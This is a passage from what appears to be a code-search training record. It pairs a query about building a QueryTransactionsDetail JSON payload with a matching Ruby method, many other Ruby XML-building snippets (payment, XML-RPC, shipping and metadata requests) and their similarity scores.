\"<positionen AnzPos='#{positions.length}'>#{xml_for(positions)}</positionen>\\n</order>\\n</Root>\"\n prelude + all + ending\n end", "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def to_xml\n xml_builder = Nokogiri::XML::Builder.new do |xml|\n xml.Package('xmlns' => 'http://soap.sforce.com/2006/04/metadata') {\n self.each do |key, members|\n xml.types {\n members.each do |member|\n xml.members member\n end\n xml.name key.to_s.camelize\n }\n end\n xml.version Metaforce.configuration.api_version\n }\n end\n xml_builder.to_xml\n end", "def accounting_xml(filter_flag=INFO_ALL, options={})\n acct_hash = Hash.new\n xml_str = \"<HISTORY_RECORDS>\\n\"\n\n rc = build_accounting(filter_flag, options) do |history|\n xml_str << history.to_xml\n end\n\n return rc if OpenNebula.is_error?(rc)\n\n xml_str << \"\\n</HISTORY_RECORDS>\"\n xml_str\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TrackShipment do \n add_credentials(xml)\n xml.Shipment do \n xml.TrackingNumber @tracking_number\n end\n end\n end\n builder.doc.root.to_xml\n end", "def to_xml\n a = REXML::Element.new(\"property\")\n a.add_attribute(\"id\", name)\n a.add_element(\"name\").text = name\n if (parameter)\n a.add_element(\"parameter\").text = parameter\n end\n if (description)\n a.add_element(\"description\").text = description\n end\n if (@options)\n p @options\n @options.each {|name, value|\n a.add_element(name.to_s).text = value.to_s\n }\n end\n return a\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "def xml\n doc = REXML::Document.new\n coContainer = doc.add_element \"ctx:context-objects\"\n coContainer.add_namespace(\"ctx\", \"info:ofi/fmt:xml:xsd:ctx\")\n coContainer.add_namespace(\"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n coContainer.add_attribute(\"xsi:schemaLocation\", \"info:ofi/fmt:xml:xsd:ctx http://www.openurl.info/registry/docs/info:ofi/fmt:xml:xsd:ctx\")\n co = coContainer.add_element \"ctx:context-object\"\n @admin.each_key do |k|\n next if k == \"ctx_enc\"\n co.add_attribute(@admin[k][\"label\"], @admin[k][\"value\"])\n end\n\n [{@referent => \"rft\"},\n {@referringEntity => \"rfe\"}, {@requestor => \"req\"},\n {@referrer => \"rfr\"}].each do |entity|\n entity.each do |ent, label|\n ent.xml(co, label) unless ent.empty?\n end\n end\n\n [{@serviceType => \"svc\"}, {@resolver => \"res\"}].each do |entity|\n entity.each do |entCont, label|\n entCont.each do |ent|\n ent.xml(co, label) unless ent.empty?\n end\n end\n end\n\n doc.to_s\n end", "def to_xml\n builder = Builder::XmlMarkup.new(:indent=>2)\n builder.instruct! :xml, version: '1.0', encoding: 'UTF-8'\n xml = builder.items{ self.each{|x| builder.item(x) } }\n xml\n end", "def _create_xml(method_name, isExtApi, data = [])\n raise \"Invalid data! Needs to be an array\" if isExtApi && !data.is_a?(Array)\n\n output = \"\"\n xml = Builder::XmlMarkup.new(:target => output, :indent => 1)\n xml.instruct!\n xml.methodCall {\n xml.methodName isExtApi ? \"extapi.callWpMethod\" : method_name\n xml.params {\n xml.param {\n xml.value {\n xml.string @rpc_admin\n }\n }\n xml.param {\n xml.value {\n xml.string @rpc_password\n }\n }\n if isExtApi\n xml.param {\n xml.value {\n xml.string method_name\n }\n }\n end\n xml.param {\n xml.value {\n if isExtApi\n xml.array {\n xml.data {\n data.each do |param|\n if param.is_a? Hash\n xml.value {\n _create_key_value_xml_struct(output, param)\n }\n else\n _create_value_xml_struct(output, param)\n end\n end\n }\n }\n else\n _create_key_value_xml_struct(output, data)\n end\n }\n }\n }\n }\n return output\n end", "def to_xml\r\n @request_set.ToXMLString\r\n end", "def weixin_xml\n template_xml = <<Text\n<xml>\n <ToUserName><![CDATA[#{to_user_name}]]></ToUserName>\n <FromUserName><![CDATA[#{from_user_name}]]></FromUserName>\n <CreateTime>#{create_time.to_i}</CreateTime>\n <MsgType><![CDATA[#{msg_type}]]></MsgType>\n <PicUrl><![CDATA[#{pic_url}]]></PicUrl>\n</xml> \nText\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end", "def to_xml(options = nil)\n all_attributes.to_xml(options || {})\n end", "def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end", "def to_xml\r\n x = Builder::XmlMarkup.new(:target => (reply = ''))\r\n x.instruct!\r\n x.comment! \"#{@collection.size} entries\" \r\n x.strings(:each => @each) {\r\n @collection.each do |each|\r\n x.s(each)\r\n end\r\n }\r\n reply\r\n end", "def formatLogBatchAsXML(list)\n timeMillis = DateTime.now.strftime('%Q')\n outStr = %Q{<add>\\n}\n # outStr = %Q{<add commitWithin=\"200\">\\n}\n # outStr = %Q{<add commit=\"true\" softCommit=\"true\">\\n}\n idx = 0\n list.each do |diz|\n idx = idx + 1\n outStr = outStr + \"<doc>\\n\"\n outStr = outStr + %Q{<field name=\"id\">#{timeMillis}-#{idx}</field>\\n}\n # we don't want to send all the fields, only a selection.\n ['date', 'machine', 'serviceName', \n 'servicePid', 'parseFails','src'].each do |k| \n datTmp = diz[k].to_s.strip\n # ATTENTION: of course the next trasformation must be the first one.\n datTmp.gsub! \"&\", '&amp;'\n datTmp.gsub! '<', '&lt;'\n datTmp.gsub! '>', '&gt;'\n datTmp.gsub! '\"', '&quot;'\n datTmp.gsub! \"'\", '&apos;' \n tmp = %Q[<field name=\"#{k}\">#{datTmp}</field>\\n] \n outStr = outStr + tmp \n end\n outStr = outStr + \"</doc>\\n\"\n end\n outStr = outStr + \"</add>\"\n return outStr\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def full_options(params)\n {\n :timestamp => Time.now.strftime(\"%F %T\"),\n :v => API_VERSION,\n :format => :xml,\n :sign_method => :md5,\n :app_key => config['app_key']\n }.merge params\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def to_xml\n ns = namespace ? \"#{namespace}:\" : ''\n body = children.map(&:to_xml).join('')\n attrs = ''\n\n attributes.each do |key, value|\n attrs << \"#{key}=#{value.inspect}\"\n end\n\n attrs = \" #{attrs}\" unless attrs.empty?\n\n return \"<#{ns}#{name}#{attrs}>#{body}</#{name}>\"\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def to_xml\n xml = \"<ticket>\\n\"\n xml << \"\\t<subject>#{@subject}</subject>\\n\"\n xml << \"\\t<description>#{@description}</description>\\n\"\n xml << \"\\t<requester-name>#{@requester_name}</requester-name>\\n\"\n xml << \"\\t<requester-email>#{@requester_email}</requester-email>\\n\"\n xml << \"\\t<set-tags>#{@tags}</set-tags>\\n\"\n xml << \"</ticket>\"\n return xml\n end", "def build_xml(xml)\n check_configuration\n xml.DistributionConfig('xmlns' => \"http://cloudfront.amazonaws.com/doc/#{Cloudfront::API_VERSION}/\") {\n xml.CallerReference @caller_reference\n @aliases.build_xml(xml)\n xml.DefaultRootObject @default_root_object\n @origins_container.build_xml(xml)\n @default_cache_behavior.build_xml(xml)\n @behaviors.build_xml(xml)\n xml.Comment @comment\n @logging.build_xml(xml)\n xml.PriceClass @price_class\n xml.Enabled @enabled\n }\n end", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end", "def xml( filters_to_use, attributes_to_use, query )\n biomart_xml = \"\"\n xml = Builder::XmlMarkup.new( :target => biomart_xml, :indent => 2 )\n\n xml.instruct!\n xml.declare!( :DOCTYPE, :Query )\n xml.Query( :virtualSchemaName => \"default\", :formatter => \"TSV\", :header => \"0\", :uniqueRows => \"1\", :count => \"\", :datasetConfigVersion => \"0.6\" ) {\n xml.Dataset( :name => self.dataset, :interface => \"default\" ) {\n\n if filters_to_use\n filters_to_use.each do |f|\n xml.Filter( :name => f, :value => query )\n end\n end\n\n if attributes_to_use\n attributes_to_use.each do |a|\n xml.Attribute( :name => a )\n end\n else\n self.attributes.each do |a|\n xml.Attribute( :name => a )\n end\n end\n\n }\n }\n\n return biomart_xml\n end", "def request_body(method, params = [])\n p_body = ''\n\n params.each { |p| p_body << \"<param><value><string>#{p}</string></value></param>\" }\n\n body = '<?xml version=\"1.0\"?><methodCall>'\n body << \"<methodName>#{method}</methodName>\"\n body << \"<params>#{p_body}</params>\" unless p_body.length == 0\n body << '</methodCall>'\n end", "def to_xml\n render_xml\n end", "def to_xml()\n XmlSimple.xml_out( { :person => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def to_xml\n output=\"\"\n self.to_rexml.write output\n end", "def queryTransactionsDetailJSON(params)\n begin\n { \n :TransactionDetailFormat => 'CWSTransaction',\n :PagingParameters => { \n :Page => 0, \n :PageSize => 10\n },\n :QueryTransactionsParameters => { \n :Amounts => nil,\n :ApprovalCodes => nil,\n :BatchIds => batch_ids(params),\n :CaptureDateRange =>nil,\n :CaptureStates => nil,\n :TransactionIds => mul_trd(params),\n :MerchantProfileIds => nil,\n :CardTypes => nil,\n :IsAcknowledged=> \"false\",\n :OrderNumbers => nil,\n :QueryType => \"OR\",\n :ServiceIds => nil,\n :ServiceKeys => nil,\n :TransactionClassTypePairs=> nil,\n :TransactionDateRange=> transaction_date_range(params),\n :TransactionStates => nil,\n },\n :IncludeRelated => 'false' \n }.to_json\n rescue Exception => ex\n return \"Some value not set in querytransactiondetail, batchid, transactionid or transactiondates!\"\n end\n end", "def params\n @params ||= @document.root.get_elements(\"params/param\").map {|e|\n XmlRpc::API::Message.parse_value(e.elements[\"value\"])\n } \n end", "def to_xml(options = {})\n to_xml_opts = {:skip_types => true} # no type information, not such a great idea!\n to_xml_opts.merge!(options.slice(:builder, :skip_instruct))\n # a builder instance is provided when to_xml is called on a collection,\n # in which case you would not want to have <?xml ...?> added to each item\n to_xml_opts[:root] ||= \"retailer\"\n self.attributes.to_xml(to_xml_opts)\n end", "def to_xml\n response\n end", "def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end", "def to_s\n @xml\n end", "def to_xml\n xml = XML::Node.new('details')\n xml.lang = @current_language\n\n self.each do |attribute|\n if(attribute.name == \"description\" && !attribute.value.blank?)\n summary = RedCloth.new(attribute.value, [:filter_html, :filter_styles, :filter_ids, :filter_classes]).to(RedCloth::Formatters::Summary)\n xml << xml_value(:summary, apply_formatting(summary))\n end\n\n if attribute.allow_many?\n array_node = XML::Node.new(attribute.name.pluralize)\n attribute.values.each do |a|\n map = XML::Node.new(attribute.name)\n map << xml_value('value', a.value)\n map << xml_value('comments', a.comments)\n array_node << map\n end\n xml << array_node\n else\n attribute_node = XML::Node.new(attribute.name)\n attribute_node << xml_value('value', attribute.value)\n attribute_node << xml_value('comments', attribute.comments)\n end\n end\n \n xml\n end", "def parameters()\n\n url = \"#{@base_url}/#{@tool}/parameters/\"\n uri = URI.parse(url)\n resp = Net::HTTP.get_response(uri)\n params = XmlSimple.xml_in(resp.body)\n\n return params\n\n end", "def to_xml\n request.clone.to_xml\n end" ]
[ "0.6846237", "0.60214025", "0.59899086", "0.58851284", "0.5831186", "0.58275175", "0.5770809", "0.5741236", "0.5703913", "0.5702869", "0.57005864", "0.57005864", "0.57005864", "0.57005864", "0.57005864", "0.57005864", "0.56920886", "0.5677992", "0.56424415", "0.56382793", "0.56093085", "0.559717", "0.5579031", "0.5532561", "0.55210483", "0.5515847", "0.55056715", "0.5495226", "0.5473367", "0.5471111", "0.5467251", "0.5451476", "0.5446813", "0.544597", "0.54418457", "0.54418457", "0.54363686", "0.54320157", "0.54299325", "0.541674", "0.5409806", "0.5405134", "0.5377531", "0.5344035", "0.5342126", "0.5331584", "0.53249377", "0.53151333", "0.5310528", "0.53069776", "0.5292108", "0.527607", "0.52716464", "0.526983", "0.526983", "0.5262858", "0.5248411", "0.52474946", "0.52432203", "0.5239836", "0.5237166", "0.5231892", "0.5208144", "0.5207262", "0.5206881", "0.5203415", "0.5203128", "0.5200151", "0.5198154", "0.51913214", "0.5186236", "0.5184416", "0.51816314", "0.5174784", "0.51726615", "0.516875", "0.51622605", "0.5149776", "0.51496714", "0.5149352", "0.51462597", "0.51335573", "0.51298136", "0.51268965", "0.5126796", "0.5119831", "0.51107395", "0.5105489", "0.50954956", "0.50947183", "0.5090971", "0.509031", "0.5088995", "0.50820035", "0.5080229", "0.5069406", "0.5064849", "0.506239", "0.5055804", "0.5049353" ]
0.6906132
0
Create QueryTransactionsDetail JSON as per the api format . "params" is collection keyvalues, in this "params" holds query information. It returns JSON format in string.
def queryTransactionsDetailJSON(params) begin { :TransactionDetailFormat => 'CWSTransaction', :PagingParameters => { :Page => 0, :PageSize => 10 }, :QueryTransactionsParameters => { :Amounts => nil, :ApprovalCodes => nil, :BatchIds => batch_ids(params), :CaptureDateRange =>nil, :CaptureStates => nil, :TransactionIds => mul_trd(params), :MerchantProfileIds => nil, :CardTypes => nil, :IsAcknowledged=> "false", :OrderNumbers => nil, :QueryType => "OR", :ServiceIds => nil, :ServiceKeys => nil, :TransactionClassTypePairs=> nil, :TransactionDateRange=> transaction_date_range(params), :TransactionStates => nil, }, :IncludeRelated => 'false' }.to_json rescue Exception => ex return "Some value not set in querytransactiondetail, batchid, transactionid or transactiondates!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_single_transaction_query(params = {})\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"id\"] = params[:transaction_id]\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"stq\" \r\n end", "def get_single_transaction_query(params = {})\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"id\"] = params[:transaction_id]\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"stq\" \r\n end", "def make_query_param_json(query_params)\n common_ops = [\n ['is', '='],\n ['is not', '<>'],\n ['greater than', '>'],\n ['less than', '<'],\n ['greater than or equal to', '>='],\n ['less than or equal to', '<='],\n ['is blank', 'is_null'],\n ['is NOT blank', 'not_null']\n ]\n text_ops = [\n %w[starts with starts_with],\n %w[ends with ends_with],\n %w[contains contains]\n ]\n date_ops = [\n %w[between between]\n ]\n # ar = []\n qp_hash = {}\n query_params.each do |query_param|\n hs = { column: query_param.column, caption: query_param.caption,\n default_value: query_param.default_value, data_type: query_param.data_type,\n control_type: query_param.control_type }\n if query_param.control_type == :list\n hs[:operator] = common_ops\n hs[:list_values] = if query_param.includes_list_options?\n query_param.build_list.list_values\n else\n query_param.build_list { |sql| db_connection[sql].all.map(&:values) }.list_values\n end\n elsif query_param.control_type == :daterange\n hs[:operator] = date_ops + common_ops\n else\n hs[:operator] = common_ops + text_ops\n end\n # ar << hs\n qp_hash[query_param.column] = hs\n end\n # ar.to_json\n qp_hash.to_json\n end", "def to_json\n {\n transactions: @transactions.map { |k, v| [k, v.to_h] }.to_h,\n transactions_hash: @transactions_hash,\n timestamp: @timestamp,\n allowed_miners: @allowed_miners,\n height: @height,\n previous_hash: @previous_hash,\n signed_by: @signed_by,\n signature: @signature\n }.to_json\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n\t@PARAM_HASH[\"BACKEND_ID\"] = params[:backend_id] if params[:backend_id]\r\n\t@PARAM_HASH[\"ORIGIN\"] = params[:origin] if params[:origin]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def search_transaction_data(parameters)\n url = make_url('SearchTrade')\n\n data = {}\n data[:Version] = '105'\n data[:ShopID] = @options[:login]\n data[:ShopPass] = @options[:password]\n data[:OrderID] = parameters[:OrderID]\n\n [url, data.to_query]\n end", "def to_query(params = nil)\n return \"\" if params.nil?\n return \"\" if params.respond_to?(:empty?) && params.empty?\n\n escape = Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\")\n params_in_json = MultiJson.dump(params)\n uri_params = URI.escape(params_in_json, escape)\n\n params = {\n params: uri_params,\n signature: signature(params_in_json)\n }\n\n \"?\" + params.map { |k, v| \"#{k}=#{v}\" if v }.compact.join(\"&\")\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = 